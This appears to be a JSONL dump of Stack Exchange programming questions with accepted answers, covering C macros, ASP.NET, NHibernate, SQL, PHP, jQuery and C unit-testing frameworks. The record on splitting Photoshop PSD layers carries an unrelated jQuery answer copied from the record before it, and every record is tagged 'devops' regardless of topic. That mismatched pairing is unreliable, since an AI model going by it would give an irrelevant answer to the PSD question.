{"id": "hf_e75b5edab130", "question": "<p>As far as I know, in gcc you can write something like:</p>\n\n<pre><code>#define DBGPRINT(fmt...) printf(fmt);\n</code></pre>\n\n<p>Is there a way to do that in VC++?</p>\n", "question_body": "", "answer": "Almost. It's uglier than that though (and you probably don't want a trailing semi-colon in the macro itself:\n```\n```\n#define DBGPRINT(DBGPRINT_ARGS) printf DBGPRINT_ARGS // note: do not use '(' & ')'\n```\n```\nTo use it:\n```\n```\nDBGPRINT((\"%s\\n\", \"Hello World\"));\n```\n```\n(was missing a pair of parens).\nNot sure why all the negatives, the original question didn't state a version of VC++, and variadic macros aren't supported by all compilers.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:21.084250"}
{"id": "hf_0d3db8323e38", "question": "<p>I am refactoring some CSS on a website. I have been working on, and noticed the absence of traditional HTML IDs in the code. </p>\n\n<p>There is heavy use of <code>CssClass='&amp;hellip;'</code>, or sometimes just <code>class='&amp;hellip;'</code>, but I can't seem to find a way to say id='&hellip;' and not have it swapped out by the server.</p>\n\n<p>Here is an example:</p>\n\n<pre><code>&lt;span id='position_title' runat='server'&gt;Manager&lt;/span&gt;\n</code></pre>\n\n<p>When the response comes back from the server, I get:</p>\n\n<pre><code>&lt;span id='$aspnet$crap$here$position_title'&gt;Manager&lt;/span&gt;</code></pre>\n\n<p>Any help here?</p>\n", "question_body": "", "answer": ".Net will always replace your id values with some mangled (every so slightly predictable, but still don't count on it) value.  Do you really NEED to have that id runat=server?  If you don't put in runat=server, then it won't mangle it...\nADDED:\nLike leddt said, you can reference the span (or any runat=server with an id) by using ClientID, but I don't think that works in CSS.\nBut I think that you have a larger problem if your CSS is using ID based selectors. You can't re-use an ID. You can't have multiple items on the same page with the same ID. .Net will complain about that.\nSo, with that in mind, is your job of refactoring the CSS getting to be a bit larger in scope?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:21.107325"}
{"id": "hf_7bf1ccf44dcd", "question": "<p>If i have a simple named query defined, the preforms a count function, on one column:</p>\n\n<pre><code>  &lt;query name=\"Activity.GetAllMiles\"&gt;\n    &lt;![CDATA[\n      select sum(Distance) from Activity\n    ]]&gt;\n\n  &lt;/query&gt;\n</code></pre>\n\n<p>How do I get the result of a sum or any query that dont return of one the mapped entities, with NHibernate using Either IQuery or ICriteria?</p>\n\n<p>Here is my attempt (im unable to test it right now), would this work?</p>\n\n<pre><code>    public decimal Find(String namedQuery)\n    {\n        using (ISession session = NHibernateHelper.OpenSession())\n        {\n            IQuery query = session.GetNamedQuery(namedQuery);\n\n\n            return query.UniqueResult&lt;decimal&gt;();\n        }\n    }\n</code></pre>\n", "question_body": "", "answer": "As an indirect answer to your question, here is how I do it without a named query.\n```\n```\nvar session = GetSession();\nvar criteria = session.CreateCriteria(typeof(Order))\n            .Add(Restrictions.Eq(\"Product\", product))\n            .SetProjection(Projections.CountDistinct(\"Price\"));\nreturn (int) criteria.UniqueResult();\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:21.142013"}
{"id": "hf_9feb557f1a31", "question": "<p>Is there a performant equivalent to the isnull function for DB2?</p>\n\n<p>Imagine some of our products are internal, so they don't have names:</p>\n\n<pre><code>Select product.id, isnull(product.name, \"Internal) \nFrom product\n</code></pre>\n\n<p>Might return:</p>\n\n<pre><code>1 Socks \n2 Shoes \n3 Internal \n4 Pants\n</code></pre>\n", "question_body": "", "answer": "I'm not familiar with DB2, but have you tried COALESCE?\nie:\n```\n```\nSELECT Product.ID, COALESCE(product.Name, \"Internal\") AS ProductName\nFROM Product\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:21.165252"}
{"id": "hf_0395ce2a7918", "question": "<p>I'd like to be able to write a PHP class that behaves like an array and uses normal array syntax for getting &amp; setting.</p>\n\n<p>For example (where Foo is a PHP class of my making):</p>\n\n<pre><code>$foo = new Foo();\n\n$foo['fooKey'] = 'foo value';\n\necho $foo['fooKey'];\n</code></pre>\n\n<p>I know that PHP has the _get and _set magic methods but those don't let you use array notation to access items.  Python handles it by overloading __getitem__ and __setitem__.</p>\n\n<p>Is there a way to do this in PHP?  If it makes a difference, I'm running PHP 5.2.</p>\n", "question_body": "", "answer": "If you extend\n```\nArrayObject\n```\nor implement\n```\nArrayAccess\n```\nthen you can do what you want.\nArrayObject\nArrayAccess", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:21.223443"}
{"id": "hf_07c7dbbc2a73", "question": "<p>We have a live MySQL database that is 99% INSERTs, around 100 per second. We want to archive the data each day so that we can run queries on it without affecting the main, live database. In addition, once the archive is completed, we want to clear the live database.</p>\n\n<p>What is the best way to do this without (if possible) locking INSERTs? We use INSERT DELAYED for the queries.</p>\n", "question_body": "", "answer": "Could you keep two mirrored databases around? Write to one, keep the second as an archive. Switch every, say, 24 hours (or however long you deem appropriate). Into the database that was the archive, insert all of todays activity. Then the two databases should match. Use this as the new live db. Take the archived database and do whatever you want to it. You can backup/extract/read all you want now that its not being actively written to.\nIts kind of like having mirrored raid where you can take one drive offline for backup, resync it, then take the other drive out for backup.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:21.246885"}
{"id": "hf_6528a0c7f42d", "question": "<p>What are the common algorithms being used to measure the processor frequency?</p>\n", "question_body": "", "answer": "I'm not sure why you need assembly for this.  If you're on a machine that has the /proc filesystem, then running:\n```\n```\n> cat /proc/cpuinfo\n```\n```\nmight give you what you need.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:21.269987"}
{"id": "hf_a62f6ba228f5", "question": "<p>If I want to use the validation framework that you can use with ASP.NET MVC, will the JavaScript conflict with other JavaScript frameworks like jQuery or YUI?</p>\n", "question_body": "", "answer": "There are many MVC frameworks. There are many JavaScript frameworks that have different functionalities. If you want a meaningful answer, you should choose an MVC and a JavaScript framework and ask concerning those two. Please be as detailed as possible in your questions.\nAs an example, the validation handling on ActiveRecord (used in Ruby on Rails) only performs validations on the server end. You can always add JavaScript validations on top of that, but the server-side validations are what really matters for data integrity.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:21.305311"}
{"id": "hf_c3657c7d740d", "question": "<p>We are planning to use the jQuery library to augment our client side JavaScript needs. </p>\n\n<p>Are there any major issues in trying to use both ASP.Net AJAX and jQuery? Both libraries seem to use $ for special purposes. Are there any conflicts that we need to be aware of? </p>\n\n<p>We also use Telerik controls that use ASP.Net AJAX.</p>\n\n<p>TIA</p>\n", "question_body": "", "answer": "jQuery has a noConflict() method as a part of the core, but it then requires that you either use jQuery as your named function or something else of your choosing (instead of the dollar selector). However, I will say that the method is often dependent on the implementation of the \"competing\" library. I have tried to use it for a Ning social network (which used Dojo), and for Magento (which uses Prototype), and I could not get either to play right with jQuery. This is just my personal experience, and others have been very successful.\nhttp://docs.jquery.com/Core/jQuery.noConflict", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:21.340196"}
{"id": "hf_2819246ee35b", "question": "<p>What's the easiest way to get the filename associated with an open HANDLE in Win32?</p>\n", "question_body": "", "answer": "On unixes there is no real way of reliably doing this.  In unix with the traditional unix filesystem, you can open a file and then unlink it (remove its entry from the directory) and use it, at which point the name isn't stored anywhere.  In addition, because a file may have multiple hardlinks into the filesystem, each of the names are equivalent, so once you've got just the open handle it wouldn't be clear which filename you should map back towards.\nSo, you may be able to do this on Win32 using the other answers, but should you ever need to port the application to a unix enviornment, you'll be out of luck.  My advice to you is to refactor your program, if possible, so that you don't need the OS to be able to maintain an open resource to filename connection.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:21.414648"}
{"id": "hf_56c2b235d489", "question": "<p>Using <a href=\"http://en.wikipedia.org/wiki/JQuery\" rel=\"noreferrer\">jQuery</a>, how can I dynamically set the size attribute of a select box?</p>\n\n<p>I would like to include it in this code:</p>\n\n<pre><code>$(\"#mySelect\").bind(\"click\",\n    function() {\n        $(\"#myOtherSelect\").children().remove();\n        var options = '' ;\n        for (var i = 0; i &lt; myArray[this.value].length; i++) {\n            options += '&lt;option value=\"' + myArray[this.value][i] + '\"&gt;' + myArray[this.value][i] + '&lt;/option&gt;';\n        }\n        $(\"#myOtherSelect\").html(options).attr [... use myArray[this.value].length here ...];\n    });\n});\n</code></pre>\n", "question_body": "", "answer": "Oops, it's\n```\n```\n$('#mySelect').attr('size', value)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:21.489825"}
{"id": "hf_69aea7e53b43", "question": "<p>I was recently asked to come up with a script that will allow the end user to upload a PSD (Photoshop) file, and split it up and create images from each of the layers.</p>\n\n<p>I would love to stay with PHP for this, but I am open to Python or Perl as well.</p>\n\n<p>Any ideas would be greatly appreciated.</p>\n", "question_body": "", "answer": "Oops, it's\n```\n```\n$('#mySelect').attr('size', value)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:21.517082"}
{"id": "hf_c6a64fe5554e", "question": "<p>We have a number of web-apps running on IIS 6 in a cluster of machines. One of those machines is also a state server for the cluster. We do not use sticky IP's.</p>\n\n<p>When we need to take down the state server machine this requires the entire cluster to be offline for a few minutes while it's switched from one machine to another.</p>\n\n<p>Is there a way to switch a state server from one machine to another with zero downtime?</p>\n", "question_body": "", "answer": "You could use the SQL server option to store state. I've used this in the past and it works well as long as the ASPState table it creates is in memory. I don't know how well it would scale as an on-disk table.\nIf SQL server is not an option for whatever reason, you could use your load balancer to create a virtual IP for your state server and point it at the new state server when you need to change. There'd be no downtime, but people who are on your site at the time would lose their session state. I don't know what you're using for load balancing, so I don't know how difficult this would be in your environment.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:21.587735"}
{"id": "hf_f97d4172195d", "question": "<p>I am using Apache Axis to connect my Java app to a web server. I used wsdl2java to create the stubs for me, but when I try to use the stubs, I get the following exception:</p>\n\n<blockquote>\n  <p>org.apache.axis.ConfigurationException: No service named <code>&lt;web service name&gt;</code> is available</p>\n</blockquote>\n\n<p>any idea?</p>\n", "question_body": "", "answer": "This is what my code looks like. It seems to work fine.\nAre you using a service locator or just creating your service?\n```\n```\nSomeServiceLocator locator = new SomeServiceLocator();\nSomeService service = null;\ntry\n{\n    service = locator.getSomeServiceImplPort();\n}\ncatch (ServiceException e)\n{\n    e.printStackTrace();\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:21.623400"}
{"id": "hf_d8851db7f6eb", "question": "<p>How do I add an instance method to a class using a metaclass (yes I do need to use a metaclass)? The following kind of works, but the func_name will still be \"foo\":</p>\n\n<pre><code>def bar(self):\n    print \"bar\"\n\nclass MetaFoo(type):\n    def __new__(cls, name, bases, dict):\n        dict[\"foobar\"] = bar\n        return type(name, bases, dict)\n\nclass Foo(object):\n    __metaclass__ = MetaFoo\n\n&gt;&gt;&gt; f = Foo()\n&gt;&gt;&gt; f.foobar()\nbar\n&gt;&gt;&gt; f.foobar.func_name\n'bar'\n</code></pre>\n\n<p>My problem is that some library code actually uses the func_name and later fails to find the 'bar' method of the Foo instance. I could do:</p>\n\n<pre><code>dict[\"foobar\"] = types.FunctionType(bar.func_code, {}, \"foobar\")\n</code></pre>\n\n<p>There is also types.MethodType, but I need an instance that does'nt exist yet to use that. Am I missing someting here?</p>\n", "question_body": "", "answer": "I think what you want to do is this:\n```\n```\n>>> class Foo():\n...   def __init__(self, x):\n...     self.x = x\n... \n>>> def bar(self):\n...   print 'bar:', self.x\n... \n>>> bar.func_name = 'foobar'\n>>> Foo.foobar = bar\n>>> f = Foo(12)\n>>> f.foobar()\nbar: 12\n>>> f.foobar.func_name\n'foobar'\n```\n```\nNow you are free to pass\n```\nFoo\n```\ns to a library that expects\n```\nFoo\n```\ninstances to have a method named\n```\nfoobar\n```\n.\nUnfortunately, (1) I don't know how to use metaclasses and (2) I'm not sure I read your question correctly, but I hope this helps.\nNote that\n```\nfunc_name\n```\nis only assignable in Python 2.4 and higher.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:21.682604"}
{"id": "hf_c4b4e40aba1a", "question": "<p>How does one automatically find categories for text based on content?</p>\n", "question_body": "", "answer": "There is a good paper written on this:\nhttp://www.cs.utexas.edu/users/hyukcho/classificationAlgorithm.html", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:21.828659"}
{"id": "hf_ce39edcecd32", "question": "<p>When working with large and/or many Javascript and CSS files, what's the best way to reduce the file sizes?</p>\n", "question_body": "", "answer": "Minify\nseems to be one of the easiest ways to shrink Javascript.\nTurning on zip at the web server level can also help.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:21.852338"}
{"id": "hf_17c8e652e342", "question": "<p>What techniques or tools are recommended for finding broken links on a website?</p>\n\n<p>I have access to the logfiles, so could conceivably parse these looking for 404 errors, but would like something automated which will follow (or attempt to follow) all links on a site.</p>\n", "question_body": "", "answer": "For Chrome Extension there is\nhexometer\nSee\nLinkChecker\nfor Firefox.\nFor Mac OS there is a tool\nIntegrity\nwhich can check URLs for broken links.\nFor Windows there is\nXenu's Link Sleuth\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:21.899748"}
{"id": "hf_c17a820b8679", "question": "<p>In Tomcat 5.5 the server.xml can have many connectors, typically port only 8080, but for my application a user might configure their servlet.xml to also have other ports open (say 8081-8088).  I would like for my servlet to figure out what socket connections ports will be vaild (During the Servlet.init() tomcat has not yet started the connectors.) </p>\n\n<p>I could find and parse the server.xml myself (grotty), I could look at the thread names (after tomcat starts up - but how would I know when a good time to do that is? )  But I would prefer a solution that can execute in my servlet.init() and determine what will be the valid port range.   Any ideas?   A solution can be tightly bound to Tomcat for my application that's ok.</p>\n", "question_body": "", "answer": "In Tomcat 6.0 it should be something like:\n```\n```\norg.apache.catalina.ServerFactory.getServer().getServices\n```\n```\nto get the services. After that you might use\n```\n```\nService.findConnectors\n```\n```\nwhich returns a Connector which finally has the method\n```\n```\nConnector.getPort\n```\n```\nSee the\nJavaDocs\nfor the details.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:21.935520"}
{"id": "hf_0a2371d56719", "question": "<p>How would I get the <code>here</code> and <code>and here</code> to be on the right, on the same lines as the lorem ipsums? See the following:</p>\n\n<pre class=\"lang-none prettyprint-override\"><code>Lorem Ipsum etc........here  \nblah.......................  \nblah blah..................  \nblah.......................  \nlorem ipsums.......and here\n</code></pre>\n", "question_body": "", "answer": "The first line would consist of 3\n```\n<div>\n```\ns. One outer that contains two inner\n```\n<div>\n```\ns. The first inner\n```\n<div>\n```\nwould have\n```\nfloat:left\n```\nwhich would make sure it stays to the left, the second would have\n```\nfloat:right\n```\n, which would stick it to the right.\n```\n```\n<div style=\"width:500;height:50\"><br>\n<div style=\"float:left\" >stuff </div><br>\n<div style=\"float:right\" >stuff </div>\n```\n```\n... obviously the inline-styling isn't the best idea - but you get the point.\n2,3, and 4 would be single\n```\n<div>\n```\ns.\n5 would work like 1.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:21.959180"}
{"id": "hf_ae152aa49e60", "question": "<p>I want to delete foo() if foo() isn't called from anywhere.</p>\n", "question_body": "", "answer": "Resharper\ndoes this, and not just with methods. It also does it with using statements, variables etcetera.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:22.006330"}
{"id": "hf_7365b592bf4e", "question": "<p>I've been attempting to write a Lisp macro that would perfom the equivalent of ++ in other programming languages for semantic reasons.  I've attempted to do this in several different ways, but none of them seem to work, and all are accepted by the interpreter, so I don't know if I have the correct syntax or not.  My idea of how this would be defined would be</p>\n\n<pre><code>(defmacro ++ (variable)\n  (incf variable))\n</code></pre>\n\n<p>but this gives me a SIMPLE-TYPE-ERROR when trying to use it.  What would make it work?</p>\n", "question_body": "", "answer": "Remember that a macro returns an expression to be evaluated. In order to do this, you have to backquote:\n```\n```\n(defmacro ++ (variable)\n   `(incf ,variable))\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:22.029885"}
{"id": "hf_51d20420b95b", "question": "<p>I'm a longtime Java programmer working on a PHP project, and I'm trying to get PHPUnit up and working.  When unit testing in Java, it's common to put test case classes and regular classes into separate directories, like this -</p>\n\n<pre><code>/src  \n  MyClass.java\n\n/test  \n  MyClassTest.java\n</code></pre>\n\n<p>and so on.</p>\n\n<p>When unit testing with PHPUnit, is it common to follow the same directory structure, or is there a better way to lay out test classes?  So far, the only way I can get the \"include(\"MyClass.php\")\" statement to work correctly is to include the test class in the same directory, but I don't want to include the test classes when I push to production.</p>\n", "question_body": "", "answer": "You need to modify PHP's include_path so that it knows where to find MyClass.php when you\n```\ninclude()\n```\nit in your unit test.\nYou could have something like this at the top of your test file (preceding your include):\n```\n```\nset_include_path(get_include_path() . PATH_SEPARATOR . \"../src\");\n```\n```\nThis appends your\n```\nsrc\n```\ndirectory onto the include path and should allow you to keep your real code separate from your test code.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:22.065519"}
{"id": "hf_ad3b6d6176b2", "question": "<p>Someone told me it's more efficient to use <code>StringBuffer</code> to concatenate strings in Java than to use the <code>+</code> operator for <code>String</code>s. What happens under the hood when you do that? What does <code>StringBuffer</code> do differently?</p>\n", "question_body": "", "answer": "One shouldn't be faster than the other. This wasn't true before Java 1.4.2, because when concatenating more than two strings using the \"+\" operator, intermediate\n```\nString\n```\nobjects would be created during the process of building the final string.\nHowever, as the\nJavaDoc for StringBuffer\nstates, at least since Java 1.4.2 using the \"+\" operator compiles down to creating a\n```\nStringBuffer\n```\nand\n```\nappend()\n```\ning the many strings to it. So no difference, apparently.\nHowever, be careful when using adding a string to another inside a loop! For example:\n```\n```\nString myString = \"\";\n\nfor (String s : listOfStrings) {\n  // Be careful! You're creating one intermediate String object\n  // for every iteration on the list (this is costly!)\n  myString += s;\n}\n```\n```\nKeep in mind, however, that usually concatenating a few strings with \"+\" is cleaner than\n```\nappend()\n```\ning them all.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:22.089756"}
{"id": "hf_0255d6d8d9eb", "question": "<p>Maybe this is a silly question, but I've always assumed each number delineated by a period represented a single component of the software. If that's true, do they ever represent something different?  I'd like to start assigning versions to the different builds of my software, but I'm not really sure how it should be structured.  My software has five distinct components.</p>\n", "question_body": "", "answer": "It can be very arbitrary, and differs from product to product. For example, with the Ubuntu distribution, 8.04 refers to 2008.April\nTypically the left most (major) numbers indicate a major release, and the further you go to the right, the smaller the change involved.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:22.174145"}
{"id": "hf_ed9a9702afea", "question": "<p>This link describes an exploit into my app using fckEditor:\n<a href=\"http://knitinr.blogspot.com/2008/07/script-exploit-via-fckeditor.html\" rel=\"nofollow noreferrer\">http://knitinr.blogspot.com/2008/07/script-exploit-via-fckeditor.html</a></p>\n\n<p>How do I make my app secure while still using fckEditor?   Is it an fckEditor configuration?   Is it some processing I'm supposed to do server-side after I grab the text from fckEditor?</p>\n\n<p>It's a puzzle because fckEditor <em>USES</em> html tags for its formatting, so I can't just HTML encode when I display back the text.</p>\n", "question_body": "", "answer": "The bug is not actually FCKeditors fault. As long as you let users edit HTML that will be displayed on your web site they will always have to possibility to do harm unless you check the data before you output it.\nSome people use HTMLencoding to do this, but that will destroy all the formatting done by FCKeditor, not what you want.\nMaybe you can use the\nMicrosoft Anti-Cross Site Scripting Library\n. Samples on\nMSDN", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:22.209614"}
{"id": "hf_1eb81eef6554", "question": "<p>I've been looking for this information for my commercial desktop product, with no avail.</p>\n\n<p>Specifically, what I'm look for, is deployment statistics of the .NET framework for end-users (both granny \"I'm just browsing the internet\" XP, and high-end users, if possible), and in the commercial/business sector.</p>\n\n<p>Edit: Other than the data points below, here's an interesting blog post about .NET <a href=\"http://www.nbdtech.com/blog/archive/2009/05/25/what-percentage-of-users-have-the-.net-framework-installed-and.aspx\" rel=\"nofollow noreferrer\">deployment rates</a>.</p>\n", "question_body": "", "answer": "I don't have any hard numbers, but these days, it is pretty safe to assume most Windows XP and Vista users have at least .NET 2.0. I believe this was actually dropped via Windows Update for XP, and Vista came with at least 2.0 (apparently with 3.0 as pointed out in the comments to this answer).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:22.233322"}
{"id": "hf_cbb27a7d0e05", "question": "<p>I'm querying a bunch of information from cisco switches using SNMP.  For instance, I'm pulling information on neighbors detected using CDP by doing an snmpwalk on .1.3.6.1.4.1.9.9.23</p>\n\n<p>Can I use this OID across different cisco models?  What pitfalls should I be aware of?  To me, I'm a little uneasy about using numeric OIDs - it seems like I should be using a MIB database or something and using the named OIDs, in order to gain cross-device compatibility, but perhaps I'm just imagining the need for that.</p>\n", "question_body": "", "answer": "It is very consistent.\nMonitoring tools depend on the consistency and the MIBs produced by Cicso rarely change old values and usually only implement new ones.\nCheck out the Cisco\nOID look up tool\n.\nNotice how it doesn't ask you what product the look up is for.\n-mw", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:22.284923"}
{"id": "hf_d0575df04d9d", "question": "<p>I worked on an embedded system this summer written in straight C.  It was an existing project that the company I work for had taken over.  I have become quite accustomed to writing unit tests in Java using JUnit but was at a loss as to the best way to write unit tests for existing code (which needed refactoring) as well as new code added to the system.</p>\n\n<p>Are there any projects out there that make unit testing plain C code as easy as unit testing Java code with JUnit?  Any insight that would apply specifically to embedded development (cross-compiling to arm-linux platform) would be greatly appreciated.</p>\n", "question_body": "", "answer": "One unit testing framework in C is\nCheck\n; a list of unit testing frameworks in C can be found\nhere\nand is reproduced below.  Depending on how many standard library functions your runtime has, you may or not be able to use one of those.\nAceUnit\nAceUnit (Advanced C and Embedded Unit) bills itself as a comfortable C code unit test framework. It tries to mimick JUnit 4.x and includes reflection-like capabilities. AceUnit can be used in resource constraint environments, e.g. embedded software development, and importantly it runs fine in environments where you cannot include a single standard header file and cannot invoke a single standard C function from the ANSI / ISO C libraries. It also has a Windows port. It does not use forks to trap signals, although the authors have expressed interest in adding such a feature. See the\nAceUnit homepage\n.\nGNU Autounit\nMuch along the same lines as Check, including forking to run unit tests in a separate address space (in fact, the original author of Check borrowed the idea from GNU Autounit). GNU Autounit uses GLib extensively, which means that linking and such need special options, but this may not be a big problem to you, especially if you are already using GTK or GLib. See the\nGNU Autounit homepage\n.\ncUnit\nAlso uses GLib, but does not fork to protect the address space of unit tests.\nCUnit\nStandard C, with plans for a Win32 GUI implementation. Does not currently fork or otherwise protect the address space of unit tests. In early development. See the\nCUnit homepage\n.\nCuTest\nA simple framework with just one .c and one .h file that you drop into your source tree. See the\nCuTest homepage\n.\nCppUnit\nThe premier unit testing framework for C++; you can also use it to test C code. It is stable, actively developed, and has a GUI interface. The primary reasons not to use CppUnit for C are first that it is quite big, and second you have to write your tests in C++, which means you need a C++ compiler. If these don’t sound like concerns, it is definitely worth considering, along with other C++ unit testing frameworks. See the\nCppUnit homepage\n.\nembUnit\nembUnit (Embedded Unit) is another unit test framework for embedded systems. This one appears to be superseded by AceUnit.\nEmbedded Unit homepage\n.\nMinUnit\nA minimal set of macros and that’s it! The point is to show how easy it is to unit test your code. See the\nMinUnit homepage\n.\nCUnit for Mr. Ando\nA CUnit implementation that is fairly new, and apparently still in early development. See the\nCUnit for Mr. Ando homepage\n.\nThis list was last updated in March 2008.\nMore frameworks:\nCMocka\nCMocka is a test framework for C with support for mock objects. It's easy to use and setup.\nSee\nthe CMocka homepage\n.\nCriterion\nCriterion is a cross-platform C unit testing framework supporting automatic test registration, parameterized tests, theories, and that can output to multiple formats, including TAP and JUnit XML. Each test is run in its own process, so signals and crashes can be reported or tested if needed.\nSee the\nCriterion homepage\nfor more information.\nHWUT\nHWUT is a general Unit Test tool with great support for C. It can help to create Makefiles, generate massive test cases coded in minimal 'iteration tables', walk along state machines, generate C-stubs and more. The general approach is pretty unique: Verdicts are based on 'good stdout/bad stdout'. The comparison function, though, is flexible. Thus, any type of script may be used for checking. It may be applied to any language that can produce standard output.\nSee\nthe HWUT homepage\n.\nCGreen\nA modern, portable, cross-language unit testing and mocking framework for C and C++. It offers an optional BDD notation, a mocking library, the ability to run it in a single process (to make debugging easier). A test runner which discover automatically the test functions is available. But you can create your own programmatically.\nAll those features (and more) are explained in\nthe CGreen manual\n.\nWikipedia gives a detailed list of C unit testing frameworks under\nList of unit testing frameworks: C", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:22.309066"}
